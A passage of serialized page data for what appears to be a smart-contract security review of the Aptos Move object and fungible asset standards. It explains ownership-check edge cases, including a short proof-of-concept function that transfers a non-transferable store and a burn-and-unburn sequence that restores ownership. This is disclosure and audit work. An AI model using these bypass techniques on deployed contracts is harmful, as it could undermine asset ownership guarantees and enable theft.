verify_ungated_and_descendant",{"type":23,"tag":141,"props":62784,"children":62785},{"style":154},[62786],{"type":29,"value":192},{"type":23,"tag":141,"props":62788,"children":62789},{"style":750},[62790],{"type":29,"value":14285},{"type":23,"tag":141,"props":62792,"children":62793},{"style":160},[62794],{"type":29,"value":114},{"type":23,"tag":141,"props":62796,"children":62797},{"style":750},[62798],{"type":29,"value":4924},{"type":23,"tag":141,"props":62800,"children":62801},{"style":154},[62802],{"type":29,"value":480},{"type":23,"tag":141,"props":62804,"children":62805},{"style":750},[62806],{"type":29,"value":62807},"destination",{"type":23,"tag":141,"props":62809,"children":62810},{"style":160},[62811],{"type":29,"value":114},{"type":23,"tag":141,"props":62813,"children":62814},{"style":750},[62815],{"type":29,"value":4924},{"type":23,"tag":141,"props":62817,"children":62818},{"style":154},[62819],{"type":29,"value":1748},{"type":23,"tag":141,"props":62821,"children":62822},{"style":750},[62823],{"type":29,"value":5018},{"type":23,"tag":141,"props":62825,"children":62826},{"style":725},[62827],{"type":29,"value":62455},{"type":23,"tag":141,"props":62829,"children":62830},{"style":154},[62831],{"type":29,"value":1951},{"type":23,"tag":141,"props":62833,"children":62834},{"class":143,"line":180},[62835,62840,62844],{"type":23,"tag":141,"props":62836,"children":62837},{"style":154},[62838],{"type":29,"value":62839}," [",{"type":23,"tag":141,"props":62841,"children":62842},{"style":160},[62843],{"type":29,"value":8269},{"type":23,"tag":141,"props":62845,"children":62846},{"style":154},[62847],{"type":29,"value":10452},{"type":23,"tag":141,"props":62849,"children":62850},{"class":143,"line":205},[62851,62856,62860,62864,62869,62874],{"type":23,"tag":141,"props":62852,"children":62853},{"style":148},[62854],{"type":29,"value":62855}," while",{"type":23,"tag":141,"props":62857,"children":62858},{"style":154},[62859],{"type":29,"value":1220},{"type":23,"tag":141,"props":62861,"children":62862},{"style":750},[62863],{"type":29,"value":14285},{"type":23,"tag":141,"props":62865,"children":62866},{"style":160},[62867],{"type":29,"value":62868}," !=",{"type":23,"tag":141,"props":62870,"children":62871},{"style":750},[62872],{"type":29,"value":62873}," current_address",{"type":23,"tag":141,"props":62875,"children":62876},{"style":154},[62877],{"type":29,"value":13480},{"type":23,"tag":141,"props":62879,"children":62880},{"class":143,"line":218},[62881,62886,62890,62895,62899,62903],{"type":23,"tag":141,"props":62882,"children":62883},{"style":750},[62884],{"type":29,"value":62885}," count",{"type":23,"tag":141,"props":62887,"children":62888},{"style":160},[62889],{"type":29,"value":1674},{"type":23,"tag":141,"props":62891,"children":62892},{"style":750},[62893],{"type":29,"value":62894}," count",{"type":23,"tag":141,"props":62896,"children":62897},{"style":160},[62898],{"type":29,"value":7581},{"type":23,"tag":141,"props":62900,"children":62901},{"style":472},[62902],{"type":29,"value":3198},{"type":23,"tag":141,"props":62904,"children":62905},{"style":154},[62906],{"type":29,"value":1684},{"type":23,"tag":141,"props":62908,"children":62909},{"class":143,"line":227},[62910,62914,62918],{"type":23,"tag":141,"props":62911,"children":62912},{"style":154},[62913],{"type":29,"value":62839},{"type":23,"tag":141,"props":62915,"children":62916},{"style":160},[62917],{"type":29,"value":8269},{"type":23,"tag":141,"props":62919,"children":62920},{"style":154},[62921],{"type":29,"value":10452},{"type":23,"tag":141,"props":62923,"children":62924},{"class":143,"line":241},[62925,62930],{"type":23,"tag":141,"props":62926,"children":62927},{"style":184},[62928],{"type":29,"value":62929}," assert!",{"type":23,"tag":141,"props":62931,"children":62932},{"style":154},[62933],{"type":29,"value":2123},{"type":23,"tag":141,"props":62935,"children":62936},{"class":143,"line":262},[62937,62942,62946,62951,62955,62960],{"type":23,"tag":141,"props":62938,"children":62939},{"style":750},[62940],{"type":29,"value":62941}," exists",{"type":23,"tag":141,"props":62943,"children":62944},{"style":154},[62945],{"type":29,"value":4480},{"type":23,"tag":141,"props":62947,"children":62948},{"style":725},[62949],{"type":29,"value":62950},"ObjectCore",{"type":23,"tag":141,"props":62952,"children":62953},{"style":154},[62954],{"type":29,"value":6285},{"type":23,"tag":141,"props":62956,"children":62957},{"style":750},[62958],{"type":29,"value":62959},"current_address",{"type":23,"tag":141,"props":62961,"children":62962},{"style":154},[62963],{"type":29,"value":5410},{"type":23,"tag":141,"props":62965,"children":62966},{"class":143,"line":271},[62967,62972,62976,62980],{"type":23,"tag":141,"props":62968,"children":62969},{"style":154},[62970],{"type":29,"value":62971}," error",{"type":23,"tag":141,"props":62973,"children":62974},{"style":160},[62975],{"type":29,"value":2141},{"type":23,"tag":141,"props":62977,"children":62978},{"style":184},[62979],{"type":29,"value":62300},{"type":23,"tag":141,"props":62981,"children":62982},{"style":154},[62983],{"type":29,"value":62984},"(ENOT_OBJECT_OWNER),\n",{"type":23,"tag":141,"props":62986,"children":62987},{"class":143,"line":293},[62988],{"type":23,"tag":141,"props":62989,"children":62990},{"style":154},[62991],{"type":29,"value":6418},{"type":23,"tag":141,"props":62993,"children":62994},{"class":143,"line":801},[62995,62999,63003,63007,63012,63016,63020,63024,63028],{"type":23,"tag":141,"props":62996,"children":62997},{"style":449},[62998],{"type":29,"value":1725},{"type":23,"tag":141,"props":63000,"children":63001},{"style":750},[63002],{"type":29,"value":60975},{"type":23,"tag":141,"props":63004,"children":63005},{"style":160},[63006],{"type":29,"value":1674},{"type":23,"tag":141,"props":63008,"children":63009},{"style":750},[63010],{"type":29,"value":63011}," borrow_global",{"type":23,"tag":141,"props":63013,"children":63014},{"style":154},[63015],{"type":29,"value":4480},{"type":23,"tag":141,"props":63017,"children":63018},{"style":725},[63019],{"type":29,"value":62950},{"type":23,"tag":141,"props":63021,"children":63022},{"style":154},[63023],{"type":29,"value":6285},{"type":23,"tag":141,"props":63025,"children":63026},{"style":750},[63027],{"type":29,"value":62959},{"type":23,"tag":141,"props":63029,"children":63030},{"style":154},[63031],{"type":29,"value":2496},{"type":23,"tag":141,"props":63033,"children":63034},{"class":143,"line":810},[63035,63040,63044,63048,63052],{"type":23,"tag":141,"props":63036,"children":63037},{"style":750},[63038],{"type":29,"value":63039}," current_address",{"type":23,"tag":141,"props":63041,"children":63042},{"style":160},[63043],{"type":29,"value":1674},{"type":23,"tag":141,"props":63045,"children":63046},{"style":750},[63047],{"type":29,"value":60975},{"type":23,"tag":141,"props":63049,"children":63050},{"style":160},[63051],{"type":29,"value":322},{"type":23,"tag":141,"props":63053,"children":63054},{"style":154},[63055],{"type":29,"value":63056},"owner;\n",{"type":23,"tag":141,"props":63058,"children":63059},{"class":143,"line":824},[63060],{"type":23,"tag":141,"props":63061,"children":63062},{"style":154},[63063],{"type":29,"value":37468},{"type":23,"tag":141,"props":63065,"children":63066},{"class":143,"line":839},[63067],{"type":23,"tag":141,"props":63068,"children":63069},{"style":154},[63070],{"type":29,"value":2573},{"type":23,"tag":32,"props":63072,"children":63073},{},[63074,63076,63081],{"type":29,"value":63075},"This could allow for bypassing assumptions about ",{"type":23,"tag":38,"props":63077,"children":63079},{"className":63078},[],[63080],{"type":29,"value":60557},{"type":29,"value":63082}," true ownership and its non-transferability.",{"type":23,"tag":131,"props":63084,"children":63086},{"className":1639,"code":63085,"language":1638,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n let constructor_ref = object::create_object(signer::address_of(caller));\n let object_addr = object::address_from_constructor_ref(&constructor_ref);\n let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n object::transfer_raw(caller, object_addr, receipient);\n //receipient can interact with store by using their signer\n}\n",[63087],{"type":23,"tag":38,"props":63088,"children":63089},{"__ignoreMap":7},[63090,63148,63201,63245,63293,63300,63345,63353],{"type":23,"tag":141,"props":63091,"children":63092},{"class":143,"line":144},[63093,63097,63101,63106,63110,63115,63119,63123,63127,63131,63136,63140,63144],{"type":23,"tag":141,"props":63094,"children":63095},{"style":750},[63096],{"type":29,"value":60156},{"type":23,"tag":141,"props":63098,"children":63099},{"style":750},[63100],{"type":29,"value":4881},{"type":23,"tag":141,"props":63102,"children":63103},{"style":184},[63104],{"type":29,"value":63105}," untransferable_transfer",{"type":23,"tag":141,"props":63107,"children":63108},{"style":154},[63109],{"type":29,"value":192},{"type":23,"tag":141,"props":63111,"children":63112},{"style":750},[63113],{"type":29,"value":63114},"caller",{"type":23,"tag":141,"props":63116,"children":63117},{"style":160},[63118],{"type":29,"value":114},{"type":23,"tag":141,"props":63120,"children":63121},{"style":160},[63122],{"type":29,"value":5815},{"type":23,"tag":141,"props":63124,"children":63125},{"style":750},[63126],{"type":29,"value":5820},{"type":23,"tag":141,"props":63128,"children":63129},{"style":154},[63130],{"type":29,"value":480},{"type":23,"tag":141,"props":63132,"children":63133},{"style":750},[63134],{"type":29,"value":63135},"receipient",{"type":23,"tag":141,"props":63137,"children":63138},{"style":160},[63139],{"type":29,"value":114},{"type":23,"tag":141,"props":63141,"children":63142},{"style":750},[63143],{"type":29,"value":4924},{"type":23,"tag":141,"props":63145,"children":63146},{"style":154},[63147],{"type":29,"value":13480},{"type":23,"tag":141,"props":63149,"children":63150},{"class":143,"line":180},[63151,63155,63160,63164,63168,63172,63177,63181,63185,63189,63193,63197],{"type":23,"tag":141,"props":63152,"children":63153},{"style":449},[63154],{"type":29,"value":1659},{"type":23,"tag":141,"props":63156,"children":63157},{"style":750},[63158],{"type":29,"value":63159}," constructor_ref",{"type":23,"tag":141,"props":63161,"children":63162},{"style":160},[63163],{"type":29,"value":1674},{"type":23,"tag":141,"props":63165,"children":63166},{"style":154},[63167],{"type":29,"value":60975},{"type":23,"tag":141,"props":63169,"children":63170},{"style":160},[63171],{"type":29,"value":2141},{"type":23,"tag":141,"props":63173,"children":63174},{"style":184},[63175],{"type":29,"value":63176},"create_object",{"type":23,"tag":141,"props":63178,"children":63179},{"style":154},[63180],{"type":29,"value":5874},{"type":23,"tag":141,"props":63182,"children":63183},{"style":160},[63184],{"type":29,"value":2141},{"type":23,"tag":141,"props":63186,"children":63187},{"style":184},[63188],{"type":29,"value":5883},{"type":23,"tag":141,"props":63190,"children":63191},{"style":154},[63192],{"type":29,"value":192},{"type":23,"tag":141,"props":63194,"children":63195},{"style":750},[63196],{"type":29,"value":63114},{"type":23,"tag":141,"props":63198,"children":63199},{"style":154},[63200],{"type":29,"value":5897},{"type":23,"tag":141,"props":63202,"children":63203},{"class":143,"line":205},[63204,63208,63212,63216,63220,63224,63229,63233,63237,63241],{"type":23,"tag":141,"props":63205,"children":63206},{"style":449},[63207],{"type":29,"value":1659},{"type":23,"tag":141,"props":63209,"children":63210},{"style":750},[63211],{"type":29,"value":62562},{"type":23,"tag":141,"props":63213,"children":63214},{"style":160},[63215],{"type":29,"value":1674},{"type":23,"tag":141,"props":63217,"children":63218},{"style":154},[63219],{"type":29,"value":60975},{"type":23,"tag":141,"props":63221,"children":63222},{"style":160},[63223],{"type":29,"value":2141},{"type":23,"tag":141,"props":63225,"children":63226},{"style":184},[63227],{"type":29,"value":63228},"address_from_constructor_ref",{"type":23,"tag":141,"props":63230,"children":63231},{"style":154},[63232],{"type":29,"value":192},{"type":23,"tag":141,"props":63234,"children":63235},{"style":160},[63236],{"type":29,"value":1770},{"type":23,"tag":141,"props":63238,"children":63239},{"style":750},[63240],{"type":29,"value":61409},{"type":23,"tag":141,"props":63242,"children":63243},{"style":154},[63244],{"type":29,"value":2496},{"type":23,"tag":141,"props":63246,"children":63247},{"class":143,"line":218},[63248,63252,63256,63260,63265,63269,63273,63277,63281,63285,63289],{"type":23,"tag":141,"props":63249,"children":63250},{"style":449},[63251],{"type":29,"value":1659},{"type":23,"tag":141,"props":63253,"children":63254},{"style":750},[63255],{"type":29,"value":4505},{"type":23,"tag":141,"props":63257,"children":63258},{"style":160},[63259],{"type":29,"value":1674},{"type":23,"tag":141,"props":63261,"children":63262},{"style":154},[63263],{"type":29,"value":63264}," primary_fungible_store",{"type":23,"tag":141,"props":63266,"children":63267},{"style":160},[63268],{"type":29,"value":2141},{"type":23,"tag":141,"props":63270,"children":63271},{"style":184},[63272],{"type":29,"value":61301},{"type":23,"tag":141,"props":63274,"children":63275},{"style":154},[63276],{"type":29,"value":192},{"type":23,"tag":141,"props":63278,"children":63279},{"style":750},[63280],{"type":29,"value":62608},{"type":23,"tag":141,"props":63282,"children":63283},{"style":154},[63284],{"type":29,"value":480},{"type":23,"tag":141,"props":63286,"children":63287},{"style":184},[63288],{"type":29,"value":61257},{"type":23,"tag":141,"props":63290,"children":63291},{"style":154},[63292],{"type":29,"value":14102},{"type":23,"tag":141,"props":63294,"children":63295},{"class":143,"line":227},[63296],{"type":23,"tag":141,"props":63297,"children":63298},{"emptyLinePlaceholder":15},[63299],{"type":29,"value":719},{"type":23,"tag":141,"props":63301,"children":63302},{"class":143,"line":241},[63303,63308,63312,63317,63321,63325,63329,63333,63337,63341],{"type":23,"tag":141,"props":63304,"children":63305},{"style":154},[63306],{"type":29,"value":63307}," object",{"type":23,"tag":141,"props":63309,"children":63310},{"style":160},[63311],{"type":29,"value":2141},{"type":23,"tag":141,"props":63313,"children":63314},{"style":184},[63315],{"type":29,"value":63316},"transfer_raw",{"type":23,"tag":141,"props":63318,"children":63319},{"style":154},[63320],{"type":29,"value":192},{"type":23,"tag":141,"props":63322,"children":63323},{"style":750},[63324],{"type":29,"value":63114},{"type":23,"tag":141,"props":63326,"children":63327},{"style":154},[63328],{"type":29,"value":480},{"type":23,"tag":141,"props":63330,"children":63331},{"style":750},[63332],{"type":29,"value":62608},{"type":23,"tag":141,"props":63334,"children":63335},{"style":154},[63336],{"type":29,"value":480},{"type":23,"tag":141,"props":63338,"children":63339},{"style":750},[63340],{"type":29,"value":63135},{"type":23,"tag":141,"props":63342,"children":63343},{"style":154},[63344],{"type":29,"value":2496},{"type":23,"tag":141,"props":63346,"children":63347},{"class":143,"line":262},[63348],{"type":23,"tag":141,"props":63349,"children":63350},{"style":443},[63351],{"type":29,"value":63352}," //receipient can interact with store by using their signer\n",{"type":23,"tag":141,"props":63354,"children":63355},{"class":143,"line":271},[63356],{"type":23,"tag":141,"props":63357,"children":63358},{"style":154},[63359],{"type":29,"value":2573},{"type":23,"tag":32,"props":63361,"children":63362},{},[63363,63365,63372],{"type":29,"value":63364},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":23,"tag":55,"props":63366,"children":63369},{"href":63367,"rel":63368},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[59],[63370],{"type":29,"value":63371},"edge case",{"type":29,"value":63373}," involving the transfer of a non-transferable fungible store.",{"type":23,"tag":131,"props":63375,"children":63377},{"className":1639,"code":63376,"language":1638,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n let object = borrow_global_mut\u003CObjectCore>(ref.self);\n assert!(\n object.owner == ref.owner,\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n \n [...]\n \n object.owner = to;\n}\n",[63378],{"type":23,"tag":38,"props":63379,"children":63380},{"__ignoreMap":7},[63381,63446,63507,63554,63565,63600,63620,63627,63634,63649,63656,63684],{"type":23,"tag":141,"props":63382,"children":63383},{"class":143,"line":144},[63384,63388,63392,63397,63401,63405,63409,63414,63418,63422,63426,63430,63434,63438,63442],{"type":23,"tag":141,"props":63385,"children":63386},{"style":750},[63387],{"type":29,"value":60156},{"type":23,"tag":141,"props":63389,"children":63390},{"style":750},[63391],{"type":29,"value":4881},{"type":23,"tag":141,"props":63393,"children":63394},{"style":184},[63395],{"type":29,"value":63396}," transfer_with_ref",{"type":23,"tag":141,"props":63398,"children":63399},{"style":154},[63400],{"type":29,"value":192},{"type":23,"tag":141,"props":63402,"children":63403},{"style":449},[63404],{"type":29,"value":61818},{"type":23,"tag":141,"props":63406,"children":63407},{"style":160},[63408],{"type":29,"value":114},{"type":23,"tag":141,"props":63410,"children":63411},{"style":725},[63412],{"type":29,"value":63413}," LinearTransferRef",{"type":23,"tag":141,"props":63415,"children":63416},{"style":154},[63417],{"type":29,"value":480},{"type":23,"tag":141,"props":63419,"children":63420},{"style":750},[63421],{"type":29,"value":31196},{"type":23,"tag":141,"props":63423,"children":63424},{"style":160},[63425],{"type":29,"value":114},{"type":23,"tag":141,"props":63427,"children":63428},{"style":750},[63429],{"type":29,"value":4924},{"type":23,"tag":141,"props":63431,"children":63432},{"style":154},[63433],{"type":29,"value":1748},{"type":23,"tag":141,"props":63435,"children":63436},{"style":750},[63437],{"type":29,"value":5018},{"type":23,"tag":141,"props":63439,"children":63440},{"style":725},[63441],{"type":29,"value":62455},{"type":23,"tag":141,"props":63443,"children":63444},{"style":154},[63445],{"type":29,"value":1951},{"type":23,"tag":141,"props":63447,"children":63448},{"class":143,"line":180},[63449,63453,63457,63461,63465,63469,63474,63478,63482,63486,63490,63494,63498,63502],{"type":23,"tag":141,"props":63450,"children":63451},{"style":184},[63452],{"type":29,"value":60825},{"type":23,"tag":141,"props":63454,"children":63455},{"style":154},[63456],{"type":29,"value":192},{"type":23,"tag":141,"props":63458,"children":63459},{"style":160},[63460],{"type":29,"value":19293},{"type":23,"tag":141,"props":63462,"children":63463},{"style":750},[63464],{"type":29,"value":5378},{"type":23,"tag":141,"props":63466,"children":63467},{"style":154},[63468],{"type":29,"value":4480},{"type":23,"tag":141,"props":63470,"children":63471},{"style":725},[63472],{"type":29,"value":63473},"Untransferable",{"type":23,"tag":141,"props":63475,"children":63476},{"style":154},[63477],{"type":29,"value":6285},{"type":23,"tag":141,"props":63479,"children":63480},{"style":449},[63481],{"type":29,"value":61818},{"type":23,"tag":141,"props":63483,"children":63484},{"style":160},[63485],{"type":29,"value":322},{"type":23,"tag":141,"props":63487,"children":63488},{"style":449},[63489],{"type":29,"value":12391},{"type":23,"tag":141,"props":63491,"children":63492},{"style":154},[63493],{"type":29,"value":61414},{"type":23,"tag":141,"props":63495,"children":63496},{"style":160},[63497],{"type":29,"value":2141},{"type":23,"tag":141,"props":63499,"children":63500},{"style":184},[63501],{"type":29,"value":62300},{"type":23,"tag":141,"props":63503,"children":63504},{"style":154},[63505],{"type":29,"value":63506},"(ENOT_MOVABLE));\n",{"type":23,"tag":141,"props":63508,"children":63509},{"class":143,"line":205},[63510,63514,63518,63522,63526,63530,63534,63538,63542,63546,63550],{"type":23,"tag":141,"props":63511,"children":63512},{"style":449},[63513],{"type":29,"value":1659},{"type":23,"tag":141,"props":63515,"children":63516},{"style":750},[63517],{"type":29,"value":60975},{"type":23,"tag":141,"props":63519,"children":63520},{"style":160},[63521],{"type":29,"value":1674},{"type":23,"tag":141,"props":63523,"children":63524},{"style":750},[63525],{"type":29,"value":6271},{"type":23,"tag":141,"props":63527,"children":63528},{"style":154},[63529],{"type":29,"value":4480},{"type":23,"tag":141,"props":63531,"children":63532},{"style":725},[63533],{"type":29,"value":62950},{"type":23,"tag":141,"props":63535,"children":63536},{"style":154},[63537],{"type":29,"value":6285},{"type":23,"tag":141,"props":63539,"children":63540},{"style":449},[63541],{"type":29,"value":61818},{"type":23,"tag":141,"props":63543,"children":63544},{"style":160},[63545],{"type":29,"value":322},{"type":23,"tag":141,"props":63547,"children":63548},{"style":449},[63549],{"type":29,"value":12391},{"type":23,"tag":141,"props":63551,"children":63552},{"style":154},[63553],{"type":29,"value":2496},{"type":23,"tag":141,"props":63555,"children":63556},{"class":143,"line":218},[63557,63561],{"type":23,"tag":141,"props":63558,"children":63559},{"style":184},[63560],{"type":29,"value":60825},{"type":23,"tag":141,"props":63562,"children":63563},{"style":154},[63564],{"type":29,"value":2123},{"type":23,"tag":141,"props":63566,"children":63567},{"class":143,"line":227},[63568,63573,63577,63582,63586,63591,63595],{"type":23,"tag":141,"props":63569,"children":63570},{"style":750},[63571],{"type":29,"value":63572}," object",{"type":23,"tag":141,"props":63574,"children":63575},{"style":160},[63576],{"type":29,"value":322},{"type":23,"tag":141,"props":63578,"children":63579},{"style":154},[63580],{"type":29,"value":63581},"owner ",{"type":23,"tag":141,"props":63583,"children":63584},{"style":160},[63585],{"type":29,"value":7251},{"type":23,"tag":141,"props":63587,"children":63588},{"style":449},[63589],{"type":29,"value":63590}," ref",{"type":23,"tag":141,"props":63592,"children":63593},{"style":160},[63594],{"type":29,"value":322},{"type":23,"tag":141,"props":63596,"children":63597},{"style":154},[63598],{"type":29,"value":63599},"owner,\n",{"type":23,"tag":141,"props":63601,"children":63602},{"class":143,"line":241},[63603,63608,63612,63616],{"type":23,"tag":141,"props":63604,"children":63605},{"style":154},[63606],{"type":29,"value":63607}," error",{"type":23,"tag":141,"props":63609,"children":63610},{"style":160},[63611],{"type":29,"value":2141},{"type":23,"tag":141,"props":63613,"children":63614},{"style":184},[63615],{"type":29,"value":62300},{"type":23,"tag":141,"props":63617,"children":63618},{"style":154},[63619],{"type":29,"value":62984},{"type":23,"tag":141,"props":63621,"children":63622},{"class":143,"line":262},[63623],{"type":23,"tag":141,"props":63624,"children":63625},{"style":154},[63626],{"type":29,"value":42131},{"type":23,"tag":141,"props":63628,"children":63629},{"class":143,"line":271},[63630],{"type":23,"tag":141,"props":63631,"children":63632},{"style":154},[63633],{"type":29,"value":60267},{"type":23,"tag":141,"props":63635,"children":63636},{"class":143,"line":293},[63637,63641,63645],{"type":23,"tag":141,"props":63638,"children":63639},{"style":154},[63640],{"type":29,"value":61199},{"type":23,"tag":141,"props":63642,"children":63643},{"style":160},[63644],{"type":29,"value":8269},{"type":23,"tag":141,"props":63646,"children":63647},{"style":154},[63648],{"type":29,"value":10452},{"type":23,"tag":141,"props":63650,"children":63651},{"class":143,"line":801},[63652],{"type":23,"tag":141,"props":63653,"children":63654},{"style":154},[63655],{"type":29,"value":60267},{"type":23,"tag":141,"props":63657,"children":63658},{"class":143,"line":810},[63659,63663,63667,63671,63675,63680],{"type":23,"tag":141,"props":63660,"children":63661},{"style":750},[63662],{"type":29,"value":63307},{"type":23,"tag":141,"props":63664,"children":63665},{"style":160},[63666],{"type":29,"value":322},{"type":23,"tag":141,"props":63668,"children":63669},{"style":154},[63670],{"type":29,"value":63581},{"type":23,"tag":141,"props":63672,"children":63673},{"style":160},[63674],{"type":29,"value":1377},{"type":23,"tag":141,"props":63676,"children":63677},{"style":750},[63678],{"type":29,"value":63679}," to",{"type":23,"tag":141,"props":63681,"children":63682},{"style":154},[63683],{"type":29,"value":1684},{"type":23,"tag":141,"props":63685,"children":63686},{"class":143,"line":824},[63687],{"type":23,"tag":141,"props":63688,"children":63689},{"style":154},[63690],{"type":29,"value":2573},{"type":23,"tag":32,"props":63692,"children":63693},{},[63694,63696,63701,63703,63708],{"type":29,"value":63695},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":23,"tag":38,"props":63697,"children":63699},{"className":63698},[],[63700],{"type":29,"value":62353},{"type":29,"value":63702},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":23,"tag":38,"props":63704,"children":63706},{"className":63705},[],[63707],{"type":29,"value":5820},{"type":29,"value":63709}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":23,"tag":8287,"props":63711,"children":63713},{"id":63712},"references",[63714],{"type":29,"value":63715},"References",{"type":23,"tag":32,"props":63717,"children":63718},{},[63719,63724,63726,63732,63734,63739,63741,63746],{"type":23,"tag":38,"props":63720,"children":63722},{"className":63721},[],[63723],{"type":29,"value":63715},{"type":29,"value":63725}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":23,"tag":38,"props":63727,"children":63729},{"className":63728},[],[63730],{"type":29,"value":63731},"Refs",{"type":29,"value":63733}," are based on the ",{"type":23,"tag":38,"props":63735,"children":63737},{"className":63736},[],[63738],{"type":29,"value":47329},{"type":29,"value":63740}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":23,"tag":38,"props":63742,"children":63744},{"className":63743},[],[63745],{"type":29,"value":47329},{"type":29,"value":63747}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":23,"tag":32,"props":63749,"children":63750},{},[63751,63753,63758,63760,63765,63766,63772,63774,63779,63781,63786],{"type":29,"value":63752},"Let's get back to the ",{"type":23,"tag":38,"props":63754,"children":63756},{"className":63755},[],[63757],{"type":29,"value":60557},{"type":29,"value":63759}," deletion example. Both ",{"type":23,"tag":38,"props":63761,"children":63763},{"className":63762},[],[63764],{"type":29,"value":61842},{"type":29,"value":313},{"type":23,"tag":38,"props":63767,"children":63769},{"className":63768},[],[63770],{"type":29,"value":63771},"fungible_asset::remove_store",{"type":29,"value":63773}," use the same object-specific ",{"type":23,"tag":38,"props":63775,"children":63777},{"className":63776},[],[63778],{"type":29,"value":61774},{"type":29,"value":63780}," permission. It can be created only during object creation. There is no separate ",{"type":23,"tag":38,"props":63782,"children":63784},{"className":63783},[],[63785],{"type":29,"value":61774},{"type":29,"value":63787}," for fungible assets.",{"type":23,"tag":131,"props":63789,"children":63790},{"className":1639,"code":61724,"language":1638,"meta":7,"style":7},[63791],{"type":23,"tag":38,"props":63792,"children":63793},{"__ignoreMap":7},[63794,63801,63840,63847,63854],{"type":23,"tag":141,"props":63795,"children":63796},{"class":143,"line":144},[63797],{"type":23,"tag":141,"props":63798,"children":63799},{"style":443},[63800],{"type":29,"value":61736},{"type":23,"tag":141,"props":63802,"children":63803},{"class":143,"line":180},[63804,63808,63812,63816,63820,63824,63828,63832,63836],{"type":23,"tag":141,"props":63805,"children":63806},{"style":750},[63807],{"type":29,"value":60156},{"type":23,"tag":141,"props":63809,"children":63810},{"style":750},[63811],{"type":29,"value":4881},{"type":23,"tag":141,"props":63813,"children":63814},{"style":184},[63815],{"type":29,"value":61752},{"type":23,"tag":141,"props":63817,"children":63818},{"style":154},[63819],{"type":29,"value":192},{"type":23,"tag":141,"props":63821,"children":63822},{"style":750},[63823],{"type":29,"value":61761},{"type":23,"tag":141,"props":63825,"children":63826},{"style":160},[63827],{"type":29,"value":114},{"type":23,"tag":141,"props":63829,"children":63830},{"style":160},[63831],{"type":29,"value":5815},{"type":23,"tag":141,"props":63833,"children":63834},{"style":725},[63835],{"type":29,"value":61774},{"type":23,"tag":141,"props":63837,"children":63838},{"style":154},[63839],{"type":29,"value":758},{"type":23,"tag":141,"props":63841,"children":63842},{"class":143,"line":205},[63843],{"type":23,"tag":141,"props":63844,"children":63845},{"emptyLinePlaceholder":15},[63846],{"type":29,"value":719},{"type":23,"tag":141,"props":63848,"children":63849},{"class":143,"line":218},[63850],{"type":23,"tag":141,"props":63851,"children":63852},{"style":443},[63853],{"type":29,"value":61793},{"type":23,"tag":141,"props":63855,"children":63856},{"class":143,"line":227},[63857,63861,63865,63869,63873,63877,63881,63885],{"type":23,"tag":141,"props":63858,"children":63859},{"style":750},[63860],{"type":29,"value":60156},{"type":23,"tag":141,"props":63862,"children":63863},{"style":750},[63864],{"type":29,"value":4881},{"type":23,"tag":141,"props":63866,"children":63867},{"style":184},[63868],{"type":29,"value":61809},{"type":23,"tag":141,"props":63870,"children":63871},{"style":154},[63872],{"type":29,"value":192},{"type":23,"tag":141,"props":63874,"children":63875},{"style":449},[63876],{"type":29,"value":61818},{"type":23,"tag":141,"props":63878,"children":63879},{"style":160},[63880],{"type":29,"value":114},{"type":23,"tag":141,"props":63882,"children":63883},{"style":725},[63884],{"type":29,"value":61827},{"type":23,"tag":141,"props":63886,"children":63887},{"style":154},[63888],{"type":29,"value":758},{"type":23,"tag":32,"props":63890,"children":63891},{},[63892,63894,63899,63901,63907],{"type":29,"value":63893},"On the other hand, the \"frozen\" status of a ",{"type":23,"tag":38,"props":63895,"children":63897},{"className":63896},[],[63898],{"type":29,"value":60557},{"type":29,"value":63900}," is toggled using a ",{"type":23,"tag":38,"props":63902,"children":63904},{"className":63903},[],[63905],{"type":29,"value":63906},"TransferRef",{"type":29,"value":63908},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":23,"tag":131,"props":63910,"children":63912},{"className":1639,"code":63911,"language":1638,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n ref: &TransferRef,\n store: Object\u003CT>,\n frozen: bool,\n)\n",[63913],{"type":23,"tag":38,"props":63914,"children":63915},{"__ignoreMap":7},[63916,63952,63976,64003,64022],{"type":23,"tag":141,"props":63917,"children":63918},{"class":143,"line":144},[63919,63923,63927,63932,63936,63940,63944,63948],{"type":23,"tag":141,"props":63920,"children":63921},{"style":750},[63922],{"type":29,"value":60156},{"type":23,"tag":141,"props":63924,"children":63925},{"style":750},[63926],{"type":29,"value":4881},{"type":23,"tag":141,"props":63928,"children":63929},{"style":750},[63930],{"type":29,"value":63931}," set_frozen_flag",{"type":23,"tag":141,"props":63933,"children":63934},{"style":154},[63935],{"type":29,"value":4480},{"type":23,"tag":141,"props":63937,"children":63938},{"style":725},[63939],{"type":29,"value":4661},{"type":23,"tag":141,"props":63941,"children":63942},{"style":160},[63943],{"type":29,"value":114},{"type":23,"tag":141,"props":63945,"children":63946},{"style":750},[63947],{"type":29,"value":4605},{"type":23,"tag":141,"props":63949,"children":63950},{"style":154},[63951],{"type":29,"value":5262},{"type":23,"tag":141,"props":63953,"children":63954},{"class":143,"line":180},[63955,63960,63964,63968,63972],{"type":23,"tag":141,"props":63956,"children":63957},{"style":449},[63958],{"type":29,"value":63959}," 